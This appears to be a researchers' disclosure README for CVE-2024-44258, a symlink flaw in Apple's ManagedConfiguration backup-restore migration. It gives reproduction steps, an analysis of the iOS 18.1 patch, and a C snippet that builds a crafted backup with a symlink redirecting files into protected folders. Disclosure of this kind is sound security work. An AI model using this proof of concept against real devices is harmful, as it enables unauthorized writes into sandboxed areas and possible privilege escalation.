
CVE-2024-44258
CVE-2024-44258 highlights a symlink vulnerability within the ManagedConfiguration framework and the profiled daemon in Apple devices. When restoring a crafted backup, the migration process fails to validate whether the destination folder is a symbolic link (symlink), leading to unauthorized file migration into restricted areas.
CVE-2024-44258 has been assigned to this issue. CVEs are unique identifiers for publicly disclosed security vulnerabilities.
For more information, please refer to Apple’s official support pages:
The vulnerability allows attackers to leverage symbolic links during a backup restore to bypass folder restrictions, writing files into sandboxed or protected areas. This flaw can potentially allow unauthorized data access, privilege escalation, or exploitation of other services dependent on the modified configuration.
Create a crafted backup
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Add desired files
/private/var/mobile/Library/ConfigurationProfilesRestore the crafted backup
Reboot the device
Expected:
/private/var/mobile/Library/ConfigurationProfiles should migrate to:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Actual:
Due to the crafted symlink, the files are migrated into a restricted folder that can contain sensitive or protected data.
This vulnerability has been observed in the wild for several months, indicating its active exploitation.
In iOS 18.1 beta5, Apple introduced a patch to address the symlink vulnerability within the ManagedConfiguration framework. The function _MCDestinationPathIsSafeFromSymlinkAttacks was added to perform a safety check on the destination path, preventing unauthorized file migration into restricted areas. This check was specifically added to the function MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]The vulnerability fix was implemented by modifying the function -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], which is responsible for handling file migrations within the ManagedConfiguration framework. Here’s how the patch works:
Addition of Symlink Check
Apple added a call to _MCDestinationPathIsSafeFromSymlinkAttacks at the beginning of MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. This function now verifies if the destination path is free of symbolic links, adding a layer of protection before performing any migration operation.
Condition Check
If _MCDestinationPathIsSafeFromSymlinkAttacks detects a symlink in the destination path, it prevents the migration from proceeding. The function logs a fault message using OS_LOG_TYPE_FAULT and exits early, stopping the file operation.
Using Diaphora in IDA, a diff comparison between iOS 18.1 beta4 and iOS 18.1 beta5 reveals the changes in the -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] function. The image below shows the modified code with the added symlink check.

Below is a sample code snippet demonstrating how to craft a backup that exploits the vulnerability. This code outlines how to add symlink and files to the backup, simulating the process without providing the actual crafted backup file.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
Special thanks to the Apple security team for their swift response and collaboration.
Vulnerability discovered by Hichem Maloufi & Christian Mina
This repository is licensed under the MIT License. See LICENSE for more information.